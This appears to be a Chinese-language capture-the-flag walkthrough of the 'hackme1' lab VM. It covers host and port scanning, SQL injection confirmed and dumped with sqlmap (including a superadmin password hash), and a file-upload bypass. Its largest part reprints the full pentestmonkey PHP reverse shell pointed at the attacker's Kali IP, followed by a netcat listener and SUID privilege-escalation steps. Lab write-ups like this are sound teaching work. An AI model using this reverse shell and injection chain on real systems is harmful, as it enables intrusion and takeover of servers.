Hackme1


前言

学习网络安全技术,我认为:主要是在注重实战。

实践是检验真理的唯一标准

接下来主要围绕靶机的攻击进程来学习网络安全技术。

一、搭建靶场环境

攻击机kali:
IP地址:192.168.247.129

靶机hackme1:
IP地址:192.168.247.128

注意:kali和靶机的IP地址需要在同意局域网中即可(同一个网段,并且要在处于同一个网络模式中)

二、实战

2.1信息收集

2.1.1网络扫描

启动kali和靶机后进行扫描

方法一、arp-scan -I eth0 -l (指定的网卡进行扫描)

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发现靶机的目标IP。

方法二、masscan扫描网段 -p 扫描端口号

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方法三、netdiscover -i 网卡 -r 网段

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2.1.2查看靶机开放的端口

nmap扫描:nmap -A -sV -T4 -p- IP 查看靶机的开放端口

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现在我们发现有两个端口一个是22,另一个是80.
现在我们分析一下该怎样搞

22段口分析

一般只能暴力破解,暂时还没有合适的字典

80端口分析

访问一下看看
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这个时候我们注册一个进去里面
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注册好了,提交
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这时我们发现这里有好多的书的名字

2.2SQL注入

2.2.1验证是否含有SQL注入漏洞

输入:Linux OS’ and 1=1#
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可以插叙到
输入:Linux OS’ and 1=2#
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啥都没有,说明存在漏洞

2.2.2sqlmap注入攻击

利用burpsuite抓一下看看
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利用sqlmap搞一下

sqlmap -r hack.txt --batch --dbs

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看到这个数据库的信息,这时我们试着对webapphacking爆表。

sqlmap -r hack.txt --batch -D webapphacking --tables

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爆列

sqlmap -r hack.txt --batch -D webapphacking -T users --dump

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现在我们发现这里有用户superadmin.
2386acb2cf356944177746fc92523983解一下这个md5得到用户superadmin的密码:
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2.3文件上传漏洞

我们利用这个在这里插入图片描述
superadmin用户的信息登入进去
这个是文件上传漏洞。
可以利用kali中自带的webshell,来进行攻击。
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利用这个php文件上传的漏洞来进行攻击
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现在修改参数

<?php
// php-reverse-shell - A Reverse Shell implementation in PHP
// Copyright (C) 2007 [email protected]
//
// This tool may be used for legal purposes only.  Users take full responsibility
// for any actions performed using this tool.  The author accepts no liability
// for damage caused by this tool.  If these terms are not acceptable to you, then
// do not use this tool.
//
// In all other respects the GPL version 2 applies:
//
// This program is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License version 2 as
// published by the Free Software Foundation.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License along
// with this program; if not, write to the Free Software Foundation, Inc.,
// 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
//
// This tool may be used for legal purposes only.  Users take full responsibility
// for any actions performed using this tool.  If these terms are not acceptable to
// you, then do not use this tool.
//
// You are encouraged to send comments, improvements or suggestions to
// me at [email protected]
//
// Description
// -----------
// This script will make an outbound TCP connection to a hardcoded IP and port.
// The recipient will be given a shell running as the current user (apache normally).
//
// Limitations
// -----------
// proc_open and stream_set_blocking require PHP version 4.3+, or 5+
// Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows.
// Some compile-time options are needed for daemonisation (like pcntl, posix).  These are rarely available.
//
// Usage
// -----
// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.

set_time_limit (0);
$VERSION = "1.0";
$ip = '127.0.0.1';  // CHANGE THIS
$port = 1234;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

//
// Daemonise ourself if possible to avoid zombies later
//

// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies.  Worth a try...
if (function_exists('pcntl_fork')) {
	// Fork and have the parent process exit
	$pid = pcntl_fork();
	
	if ($pid == -1) {
		printit("ERROR: Can't fork");
		exit(1);
	}
	
	if ($pid) {
		exit(0);  // Parent exits
	}

	// Make the current process a session leader
	// Will only succeed if we forked
	if (posix_setsid() == -1) {
		printit("Error: Can't setsid()");
		exit(1);
	}

	$daemon = 1;
} else {
	printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}

// Change to a safe directory
chdir("/");

// Remove any umask we inherited
umask(0);

//
// Do the reverse shell...
//

// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
	printit("$errstr ($errno)");
	exit(1);
}

// Spawn shell process
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
	printit("ERROR: Can't spawn shell");
	exit(1);
}

// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
	// Check for end of TCP connection
	if (feof($sock)) {
		printit("ERROR: Shell connection terminated");
		break;
	}

	// Check for end of STDOUT
	if (feof($pipes[1])) {
		printit("ERROR: Shell process terminated");
		break;
	}

	// Wait until a command is end down $sock, or some
	// command output is available on STDOUT or STDERR
	$read_a = array($sock, $pipes[1], $pipes[2]);
	$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

	// If we can read from the TCP socket, send
	// data to process's STDIN
	if (in_array($sock, $read_a)) {
		if ($debug) printit("SOCK READ");
		$input = fread($sock, $chunk_size);
		if ($debug) printit("SOCK: $input");
		fwrite($pipes[0], $input);
	}

	// If we can read from the process's STDOUT
	// send data down tcp connection
	if (in_array($pipes[1], $read_a)) {
		if ($debug) printit("STDOUT READ");
		$input = fread($pipes[1], $chunk_size);
		if ($debug) printit("STDOUT: $input");
		fwrite($sock, $input);
	}

	// If we can read from the process's STDERR
	// send data down tcp connection
	if (in_array($pipes[2], $read_a)) {
		if ($debug) printit("STDERR READ");
		$input = fread($pipes[2], $chunk_size);
		if ($debug) printit("STDERR: $input");
		fwrite($sock, $input);
	}
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
	if (!$daemon) {
		print "$stringn";
	}
}

?> 

将其中的IP修改为自己的kali攻击机的IP

set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.247.129';  // CHANGE THIS
$port = 1234;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

现在我们进行文件上传
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上传的时候进行改一下后缀
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欧克的

2.4kali监听

输入:nc -lvp 1234
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使用python,进入bash
输入:python3 -c ‘import pty;pty.spawn("/bin/bash")’
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2.5权力提升

查询suid权限程序:find / -perm -u=s -type f 2>/dev/null

/snap/core20/1270/usr/bin/chfn
/snap/core20/1270/usr/bin/chsh
/snap/core20/1270/usr/bin/gpasswd
/snap/core20/1270/usr/bin/mount
/snap/core20/1270/usr/bin/newgrp
/snap/core20/1270/usr/bin/passwd
/snap/core20/1270/usr/bin/su
/snap/core20/1270/usr/bin/sudo
/snap/core20/1270/usr/bin/umount
/snap/core20/1270/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core20/1270/usr/lib/openssh/ssh-keysign
/snap/core/6531/bin/mount
/snap/core/6531/bin/ping
/snap/core/6531/bin/ping6
/snap/core/6531/bin/su
/snap/core/6531/bin/umount
/snap/core/6531/usr/bin/chfn
/snap/core/6531/usr/bin/chsh
/snap/core/6531/usr/bin/gpasswd
/snap/core/6531/usr/bin/newgrp
/snap/core/6531/usr/bin/passwd
/snap/core/6531/usr/bin/sudo
/snap/core/6531/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core/6531/usr/lib/openssh/ssh-keysign
/snap/core/6531/usr/lib/snapd/snap-confine
/snap/core/6531/usr/sbin/pppd
/snap/core/5662/bin/mount
/snap/core/5662/bin/ping
/snap/core/5662/bin/ping6
/snap/core/5662/bin/su
/snap/core/5662/bin/umount
/snap/core/5662/usr/bin/chfn
/snap/core/5662/usr/bin/chsh
/snap/core/5662/usr/bin/gpasswd
/snap/core/5662/usr/bin/newgrp
/snap/core/5662/usr/bin/passwd
/snap/core/5662/usr/bin/sudo
/snap/core/5662/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core/5662/usr/lib/openssh/ssh-keysign
/snap/core/5662/usr/lib/snapd/snap-confine
/snap/core/5662/usr/sbin/pppd
/snap/core/11993/bin/mount
/snap/core/11993/bin/ping
/snap/core/11993/bin/ping6
/snap/core/11993/bin/su
/snap/core/11993/bin/umount
/snap/core/11993/usr/bin/chfn
/snap/core/11993/usr/bin/chsh
/snap/core/11993/usr/bin/gpasswd
/snap/core/11993/usr/bin/newgrp
/snap/core/11993/usr/bin/passwd
/snap/core/11993/usr/bin/sudo
/snap/core/11993/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core/11993/usr/lib/openssh/ssh-keysign
/snap/core/11993/usr/lib/snapd/snap-confine
/snap/core/11993/usr/sbin/pppd
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/snapd/snap-confine
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/bin/pkexec
/usr/bin/traceroute6.iputils
/usr/bin/passwd
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/at
/usr/bin/newgrp
/usr/bin/sudo
/home/legacy/touchmenot
/bin/mount
/bin/umount
/bin/ping
/bin/ntfs-3g
/bin/su
/bin/fusermount

发现一个目录可以进行提取/home/legacy/touchmenot

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发现可以的

总结

本此靶机主要的工具和靶机都很简单,主要涉及的是SQL注入漏洞和文件上传漏洞。
1、sql注入工具:sqlmap
2、抓包工具:burpsuite
3、webshell后门:kali中的后门
4、suid提取:touchmenot提取

书籍是全世界的营养品,生活里没有书籍就好像没有阳光;智慧里没有书籍就好像鸟儿没有翅膀。——莎士比亚

本图文内容来源于网友网络收集整理提供,作为学习参考使用,版权属于原作者。
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